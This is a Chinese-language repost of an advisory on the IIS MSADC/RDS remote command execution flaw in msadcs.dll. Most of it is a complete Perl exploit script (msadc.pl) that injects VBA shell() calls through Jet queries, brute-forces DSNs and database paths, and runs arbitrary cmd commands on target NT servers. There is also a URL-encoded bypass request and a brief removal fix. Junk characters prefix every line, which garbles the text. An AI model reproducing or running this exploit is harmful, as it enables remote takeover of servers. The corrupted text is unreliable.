IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
B:9Z;g@& CNP?i(Rk 涉及程序:
CMTy(Z8_) Microsoft NT server
|rNm_L2 L5U>`lx6$ 描述:
y 5=J6a2. 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
!rrjA$P<v u} KiSZxt 详细:
I</Nmgf 如果你没有时间读详细内容的话,就删除:
ECl[v%R/6 c:\Program Files\Common Files\System\Msadc\msadcs.dll
R4{}ZT 有关的安全问题就没有了。
1a%*X UT I\4I,ds 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
` 3<#DZ;! &9^c-;Vs 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
1f~_# EIC 关于利用ODBC远程漏洞的描述,请参看:
`7'(U)x,F 9#_49euy|P http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm QI!:+8 #`?uV)( 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
b>fDb J0 http://www.microsoft.com/security/bulletins/MS99-025faq.asp Xf#uK\f H#6J7\xcS 这里不再论述。
fDqlN`P@ smk0 *m4 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Ot v{#bB$ 4;%=ohD:! /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
))eR 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
js2?t~E] 8lbNw_U p%j@2U #将下面这段保存为txt文件,然后: "perl -x 文件名"
_gU[FUBtJ Ih"f98lV #!perl
^gv)[ #
c L84}1QD # MSADC/RDS 'usage' (aka exploit) script
]Y,
7 X #
~~h9yvW7& # by rain.forest.puppy
a)}?rzT] #
:%s9<g;-h_ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
GT'%HmQI # beta test and find errors!
A(<-
U| >a^H7kp use Socket; use Getopt::Std;
Xr':/Qjf getopts("e:vd:h:XR", \%args);
k9Yr&8B Z73 ysn} print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
]>x674H 1q/z&@+B if (!defined $args{h} && !defined $args{R}) {
JlGyGr^MD print qq~
AvH/Q_-b Usage: msadc.pl -h <host> { -d <delay> -X -v }
ZP?](RV>xg -h <host> = host you want to scan (ip or domain)
][TS|\\ -d <seconds> = delay between calls, default 1 second
{>5c,L$ -X = dump Index Server path table, if available
KA.@q AEB -v = verbose
y*_g1q$ -e = external dictionary file for step 5
X~W5Z(w(O
g2F~0%HY Or a -R will resume a command session
XjL( V1 #bf^Pq'8 ~; exit;}
=(v/pLLK? a!wPBJJ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
sd>#Hn if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
{*tewF)| if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
RU[{!E if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
I7]45pF $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
mVk:[
}l6 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
V8&%f xn+ wwE9|'Ok if (!defined $args{R}){ $ret = &has_msadc;
/&vUi7' die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
C$rZn%dp( o$2fML print "Please type the NT commandline you want to run (cmd /c assumed):\n"
BXLhi(.s . "cmd /c ";
OhIUm4=|$ $in=<STDIN>; chomp $in;
}p."7( $command="cmd /c " . $in ;
3",6 E( ISOPKZ#F if (defined $args{R}) {&load; exit;}
%K?~$;Z. cjH
~H8 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
ijC;"j/( &try_btcustmr;
OB5{EILej M3 u[E print "\nStep 2: Trying to make our own DSN...";
0(0Ep(Vj &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
bQ_i&t\yzB Fa@#nY|UV3 print "\nStep 3: Trying known DSNs...";
&a1agi7M &known_dsn;
A@&+!sO +Hv%m8'0| print "\nStep 4: Trying known .mdbs...";
IzkZ^;(N &known_mdb;
awMm&8cIM LvE|K&R| if (defined $args{e}){
)]rGGNF* print "\nStep 5: Trying dictionary of DSN names...";
R%}OZJ_ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Jd/5Kx MI<hShc\ print "Sorry Charley...maybe next time?\n";
{hVSVx8ZL exit;
<9B43 Vs m06Rj{ ##############################################################################
bm(0raugs @$Z5Ag! sub sendraw { # ripped and modded from whisker
babDLaC@ sleep($delay); # it's a DoS on the server! At least on mine...
Fx)]AJ~[t my ($pstr)=@_;
+)Z,%\)Z socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
D3BX[ die("Socket problems\n");
Sd}fse if(connect(S,pack "SnA4x8",2,80,$target)){
B*K%&w10~ select(S); $|=1;
/|BzpIfpN print $pstr; my @in=<S>;
b-%7@j select(STDOUT); close(S);
U{{RRK| return @in;
9O P
d'f } else { die("Can't connect...\n"); }}
>P+V!-%# >q4nQ/eP ##############################################################################
oa47TqFt Hya*7l']B sub make_header { # make the HTTP request
'U5
E{ my $msadc=<<EOT
mqwN<: POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
pLrNYo*d User-Agent: ACTIVEDATA
$ 'HiNP
{c Host: $ip
F0]= z- Content-Length: $clen
d.2
Connection: Keep-Alive
2>?GD@GE Z
A7u66 ADCClientVersion:01.06
@^#y23R U Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
u.$.RkNMQ Eq'YtqU --!ADM!ROX!YOUR!WORLD!
kRZ( Content-Type: application/x-varg
! X*L<)=nh Content-Length: $reqlen
rDm>Rm= cb|`)"<HN EOT
K)@]vw/\ ; $msadc=~s/\n/\r\n/g;
Pbd#Fu; return $msadc;}
CM8WI~ i8u9~F ##############################################################################
G8f7N;D rTW1'@E sub make_req { # make the RDS request
[ZDJs`h!` my ($switch, $p1, $p2)=@_;
I3s'44 my $req=""; my $t1, $t2, $query, $dsn;
i1 C]bUXA '^lrGO6
z7 if ($switch==1){ # this is the btcustmr.mdb query
d<fS52~l $query="Select * from Customers where City=" . make_shell();
hW
_NARA $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
5as';1^P&* $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
;k(|ynXv ~d){7OG elsif ($switch==2){ # this is general make table query
)Q~Q. $query="create table AZZ (B int, C varchar(10))";
L.ndLd $dsn="$p1";}
Br1JZHgA F_\\n#bv elsif ($switch==3){ # this is general exploit table query
tgc&DT;E $query="select * from AZZ where C=" . make_shell();
7s>d/F3* $dsn="$p1";}
sW|u}8` ;MNEe%
TJ elsif ($switch==4){ # attempt to hork file info from index server
A7~)h}~ $query="select path from scope()";
D[:7B:i $dsn="Provider=MSIDXS;";}
#d(6q$IE ]-L/Of6F)| elsif ($switch==5){ # bad query
V>4 !fD= $query="select";
]wdudvS@6r $dsn="$p1";}
C'*1w #q(BR{A>t
$t1= make_unicode($query);
R*VZ=i $t2= make_unicode($dsn);
7A3e-51> $req = "\x02\x00\x03\x00";
(:M6*RV $req.= "\x08\x00" . pack ("S1", length($t1));
\1ys2BX $req.= "\x00\x00" . $t1 ;
F#Z]Xq0r $req.= "\x08\x00" . pack ("S1", length($t2));
q2&&n6PYW $req.= "\x00\x00" . $t2 ;
~'v^__8 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
r(J7&vR}h return $req;}
lT1*e(I I{B8'n{cN ##############################################################################
klv^310 Scxf5x- sub make_shell { # this makes the shell() statement
Y2<Z"D` return "'|shell(\"$command\")|'";}
LEHlfB#z`@ |I85]'K9a ##############################################################################
q35%t61Lc 0v+5&Jk sub make_unicode { # quick little function to convert to unicode
<J[*~v%( my ($in)=@_; my $out;
&{ntx~Eq for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
};29'_.."x return $out;}
k&yy_r
z4H!b+ ##############################################################################
D-~HJ j$N`JiKM sub rdo_success { # checks for RDO return success (this is kludge)
|44CD3A% my (@in) = @_; my $base=content_start(@in);
++Az~{W7 if($in[$base]=~/multipart\/mixed/){
gaTI:SKzc return 1 if( $in[$base+10]=~/^\x09\x00/ );}
78y4nRQ* return 0;}
dy|r:~j3
E2!;W8M ##############################################################################
}^)M)8zS !\+SE"ml sub make_dsn { # this makes a DSN for us
gHYYxhW$ my @drives=("c","d","e","f");
B6OggJ9Iq print "\nMaking DSN: ";
O#cXvv]Z* foreach $drive (@drives) {
z$%ntN#eNA print "$drive: ";
[4PG_k[uTJ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
vnXpC!1 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
&$< S1 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
VEE:Z^U! $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
j"}alS`- return 0 if $2 eq "404"; # not found/doesn't exist
AP/tBCeM if($2 eq "200") {
wjKW 3 foreach $line (@results) {
)5'S=av9 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
l$)pCo } return 0;}
k
NK)mE jO!!. w ##############################################################################
y4P mL j~Rh_\>Q sub verify_exists {
6i{W=$RQ my ($page)=@_;
aHwrFkn my @results=sendraw("GET $page HTTP/1.0\n\n");
Il*wVNrZI return $results[0];}
VGq2ITg9eE |CStw"Fog ##############################################################################
d=H C;T) i#(T?=VPcy sub try_btcustmr {
(fY (- my @drives=("c","d","e","f");
LT:KZ|U9 my @dirs=("winnt","winnt35","winnt351","win","windows");
7&l 0Oe@0L%^3" foreach $dir (@dirs) {
Z</$~
T print "$dir -> "; # fun status so you can see progress
]UFf- foreach $drive (@drives) {
7NoB print "$drive: "; # ditto
<=^YIp $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Jw"'ZW#W $reqlenlen=length( "$reqlen" );
AR/`]"' $clen= 206 + $reqlenlen + $reqlen;
6ZCt xs! Ur]5AJ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
tw\/1wa. if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
olQ;XTa01F else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
k\zN h<^ -DU[dU*~ ##############################################################################
'OkF.bs
CW, Kw sub odbc_error {
l(%bdy my (@in)=@_; my $base;
spd>.Cm` my $base = content_start(@in);
?ry`+nx if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
#LBZ%%v $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
!63x^# kg $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
9J0m $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
U,aV{qz return $in[$base+4].$in[$base+5].$in[$base+6];}
^ 8egn| print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
gQ,PG print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
/':kJOk<[ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
mA3C)V S%g`X ##############################################################################
'0/t |V< AqE . TK sub verbose {
;`s/|v my ($in)=@_;
ze!7qeW return if !$verbose;
;]vE"M x$ print STDOUT "\n$in\n";}
5BTQJa VY Va8[} ##############################################################################
zcP_-q]1 lE$X9yIt sub save {
60^dzi!vs my ($p1, $p2, $p3, $p4)=@_;
F7cv`i?2." open(OUT, ">rds.save") || print "Problem saving parameters...\n";
/u>")f print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
om;jXf}A close OUT;}
dJ:EXVU 9M<qk si ##############################################################################
]NG`MZ
W@#)8];> sub load {
krI<'m;a my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
~/iE open(IN,"<rds.save") || die("Couldn't open rds.save\n");
o;_v' @p=<IN>; close(IN);
l9#M`x9 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
?5jkb $target= inet_aton($ip) || die("inet_aton problems");
OpUC98p?@ print "Resuming to $ip ...";
trtI^^/% $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Z5_U D if($p[1]==1) {
DHgEhf] $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
qZCA16 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
?uOdqMJV my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
f!0* ^d if (rdo_success(@results)){print "Success!\n";}
6'+3""\ else { print "failed\n"; verbose(odbc_error(@results));}}
Y2QlK1.8V elsif ($p[1]==3){
[p[Kpunr{l if(run_query("$p[3]")){
O .m;a_ print "Success!\n";} else { print "failed\n"; }}
<gQw4 elsif ($p[1]==4){
'SvYZ0ot if(run_query($drvst . "$p[3]")){
b2r@vZ]D print "Success!\n"; } else { print "failed\n"; }}
[bH6>{3u exit;}
K7U` Fl<BCJY ##############################################################################
()= q%8,@xg sub create_table {
r;I3N+ my ($in)=@_;
QJ-6aB $reqlen=length( make_req(2,$in,"") ) - 28;
-HS(<V=a?k $reqlenlen=length( "$reqlen" );
QcIa%lf $clen= 206 + $reqlenlen + $reqlen;
K"#np!Y) my @results=sendraw(make_header() . make_req(2,$in,""));
V!a\:%#^Y return 1 if rdo_success(@results);
!imm17XQ\ my $temp= odbc_error(@results); verbose($temp);
yzgDdAM return 1 if $temp=~/Table 'AZZ' already exists/;
O-}{%)[ F return 0;}
3-Xum*)Y b jZcWYT ##############################################################################
Mw*R~OX /mo4Q?^ sub known_dsn {
(9{)4[3MAG # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
&v'e;W my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
V)f/umT%g "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
uiP fAPZ "banner", "banners", "ads", "ADCDemo", "ADCTest");
=Y?M#3P.I [8(e`6xePb foreach $dSn (@dsns) {
nO,<`}pV print ".";
_<yJQ|[z~i next if (!is_access("DSN=$dSn"));
'k{pWfn=< if(create_table("DSN=$dSn")){
K
p~x print "$dSn successful\n";
p4*VE5[?_+ if(run_query("DSN=$dSn")){
o}
YFDYi print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
BXnSkT7 print "Something's borked. Use verbose next time\n";}}} print "\n";}
0[ H'l",~ Ky|d RbK, ##############################################################################
@s b\0 } VSL6tQp sub is_access {
G=!Gy.
my ($in)=@_;
(6L[eWuTn $reqlen=length( make_req(5,$in,"") ) - 28;
8^CL:8lI^\ $reqlenlen=length( "$reqlen" );
Y2"X;`< $clen= 206 + $reqlenlen + $reqlen;
LIT{rR#8 my @results=sendraw(make_header() . make_req(5,$in,""));
Gp6|M2Vu_5 my $temp= odbc_error(@results);
:1PT`:Y verbose($temp); return 1 if ($temp=~/Microsoft Access/);
1I<D
`H% return 0;}
D[-V1K&g ^} %OqP ##############################################################################
hg/G7Ur" ?MHVkGD sub run_query {
`p|{(g' my ($in)=@_;
-WWa`,: $reqlen=length( make_req(3,$in,"") ) - 28;
R0B\| O0Uv $reqlenlen=length( "$reqlen" );
2E9Cp $clen= 206 + $reqlenlen + $reqlen;
*&Np;^~ my @results=sendraw(make_header() . make_req(3,$in,""));
U^-:qT;CX return 1 if rdo_success(@results);
BlF>TI%2 my $temp= odbc_error(@results); verbose($temp);
N2 wBH+3w return 0;}
"M3R}<Vt uosFpa ##############################################################################
\25Rq/&w T<=Ci?C
v sub known_mdb {
)+'FTz` c my @drives=("c","d","e","f","g");
@{_[bKg my @dirs=("winnt","winnt35","winnt351","win","windows");
-R?~Yysd7K my $dir, $drive, $mdb;
n{s
`XyH my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Fo|6 PoSo jeFX?]Q # this is sparse, because I don't know of many
6}qp;mR
E] my @sysmdbs=( "\\catroot\\icatalog.mdb",
a^hDxeG "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
xX.fN7[ "\\system32\\certmdb.mdb",
Y6~/H "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
s5_[[:c=^ swss#?.se my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
6",S$3q "\\cfusion\\cfapps\\forums\\forums_.mdb",
f02<u "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
K;a]+9C "\\cfusion\\cfapps\\security\\realm_.mdb",
*e&OpVn "\\cfusion\\cfapps\\security\\data\\realm.mdb",
:G=N|3 "\\cfusion\\database\\cfexamples.mdb",
0,a\vs%@X "\\cfusion\\database\\cfsnippets.mdb",
2MS1<VKZ@ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
9tDo5
29 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
]vo&NE "\\cfusion\\brighttiger\\database\\cleam.mdb",
OSY$qL2 "\\cfusion\\database\\smpolicy.mdb",
M0YV Qa "\\cfusion\\database\cypress.mdb",
4D=p#KZ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
gXBC=
?jl "\\website\\cgi-win\\dbsample.mdb",
(RW02%`jjy "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
iG( )"^G "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
~>2@55wElp ); #these are just
!C]0l foreach $drive (@drives) {
T PEg>[ foreach $dir (@dirs){
i0;
p?4`m foreach $mdb (@sysmdbs) {
KSe`G;{ print ".";
2+y<&[A8U if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
r%\(5H f print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
owM3Gz%?UA if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
FW~%xUSE5 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
96x$Xl; } else { print "Something's borked. Use verbose next time\n"; }}}}}
P(D0ru DC4O@" foreach $drive (@drives) {
lO&TSPD^ foreach $mdb (@mdbs) {
\0?^%CD+@ print ".";
<Yif-9 if(create_table($drv . $drive . $dir . $mdb)){
5i `q print "\n" . $drive . $dir . $mdb . " successful\n";
COvcR.*0F if(run_query($drv . $drive . $dir . $mdb)){
f"My;K $l; print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
//T1e7) } else { print "Something's borked. Use verbose next time\n"; }}}}
++=t|ZS
U }
Z7>pz:, EX zA(igS ##############################################################################
&Z3g$R 9 B7HNNX sub hork_idx {
H*s_A/$ print "\nAttempting to dump Index Server tables...\n";
6%?bl{pNn print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
- "`5r6 $reqlen=length( make_req(4,"","") ) - 28;
AT*J '37 $reqlenlen=length( "$reqlen" );
WxO2 $clen= 206 + $reqlenlen + $reqlen;
eFJ .)Z my @results=sendraw2(make_header() . make_req(4,"",""));
c4H5[LPF if (rdo_success(@results)){
5~)m6]-6 my $max=@results; my $c; my %d;
7:iTx;,v for($c=19; $c<$max; $c++){
/BeA-\B $results[$c]=~s/\x00//g;
\o}m]v
i $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
B q/<kEgM $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
u~[=5r $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
6_xPk`m $d{"$1$2"}="";}
7tbM~+<0 foreach $c (keys %d){ print "$c\n"; }
KA^r,Iw } else {print "Index server doesn't seem to be installed.\n"; }}
?VUW.- b/^i ##############################################################################
LEu_RU? 21k^MZ sub dsn_dict {
&USKudXmb open(IN, "<$args{e}") || die("Can't open external dictionary\n");
_4~'K? while(<IN>){
9*`(*>S $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
)g;*u,C next if (!is_access("DSN=$dSn"));
/4K ^- if(create_table("DSN=$dSn")){
&?[uY5Mk print "$dSn successful\n";
"}/$xOl" if(run_query("DSN=$dSn")){
_4+'@u
# print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
{|:ro!& print "Something's borked. Use verbose next time\n";}}}
J9buf}C[ print "\n"; close(IN);}
Eu;f~ V 0 Z{;sW ##############################################################################
W.67};', qpjG_G5/ sub sendraw2 { # ripped and modded from whisker
n*yVfI sleep($delay); # it's a DoS on the server! At least on mine...
AW[_k% my ($pstr)=@_;
3y9R1/! socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
uu5L9.i9 die("Socket problems\n");
fm u;Pb]r if(connect(S,pack "SnA4x8",2,80,$target)){
xMOq/") print "Connected. Getting data";
YoU|)6Of open(OUT,">raw.out"); my @in;
Uxll<z, select(S); $|=1; print $pstr;
()cqax4 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
{`KRr:w close(OUT); select(STDOUT); close(S); return @in;
cJ^:b4j } else { die("Can't connect...\n"); }}
u[Ij4h. >5%;NI5
G ##############################################################################
0UbY0sYo _zuX6DO sub content_start { # this will take in the server headers
C*C;n4 AT my (@in)=@_; my $c;
q
eW{Cl~ for ($c=1;$c<500;$c++) {
39!$x[ if($in[$c] =~/^\x0d\x0a/){
j
o +- if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
7k<6oM1 else { return $c+1; }}}
r9\7I7z return -1;} # it should never get here actually
sFrerv&0 4lCEzWo[/ ##############################################################################
wR(>'? |<2g^ZK) sub funky {
#uc9eh}CWO my (@in)=@_; my $error=odbc_error(@in);
,SZYZ 25 if($error=~/ADO could not find the specified provider/){
Vs"1:gi& print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Kn#CIFbBN exit;}
P #PRzt if($error=~/A Handler is required/){
O_S%PX print "\nServer has custom handler filters (they most likely are patched)\n";
50E?K! exit;}
f6$$e+ if($error=~/specified Handler has denied Access/){
:4\=xGiY print "\nServer has custom handler filters (they most likely are patched)\n";
Droa1_FX exit;}}
S
A\_U::T nmN3Z_ ##############################################################################
<Na .6P .0a,%o8n sub has_msadc {
8N,mp>~ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
0nu&JQ my $base=content_start(@results);
JjC&
io return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
iTu~Y<'m return 0;}
V/dL-;W; 7.W$6U5 ########################
ahmxbv3f=5 t`!@E#VK ;x|LB>. 解决方案:
&e%eIz 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
a<W.}0ZY 2、移除web 目录: /msadc